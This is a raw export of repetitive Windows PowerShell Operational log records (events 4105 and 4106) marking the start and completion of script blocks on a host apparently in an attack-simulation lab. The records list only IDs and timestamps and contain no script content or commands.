User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647374
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647373
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647372
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647371
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647370
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647369
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647368
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647367
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647386
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647385
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647384
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647383
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647382
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647381
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647380
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647379
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647378
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647377
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647396
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647395
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647394
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647393
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647392
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647391
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647390
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647389
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647388
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647387
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647406
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647405
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647404
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647403
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647402
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647401
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647400
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647399
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647398
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647397
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647416
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647415
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647414
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647413
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647412
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647411
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647410
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647409
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647408
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647407
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647426
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647425
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647424
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647423
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647422
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647421
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:12:48 PM
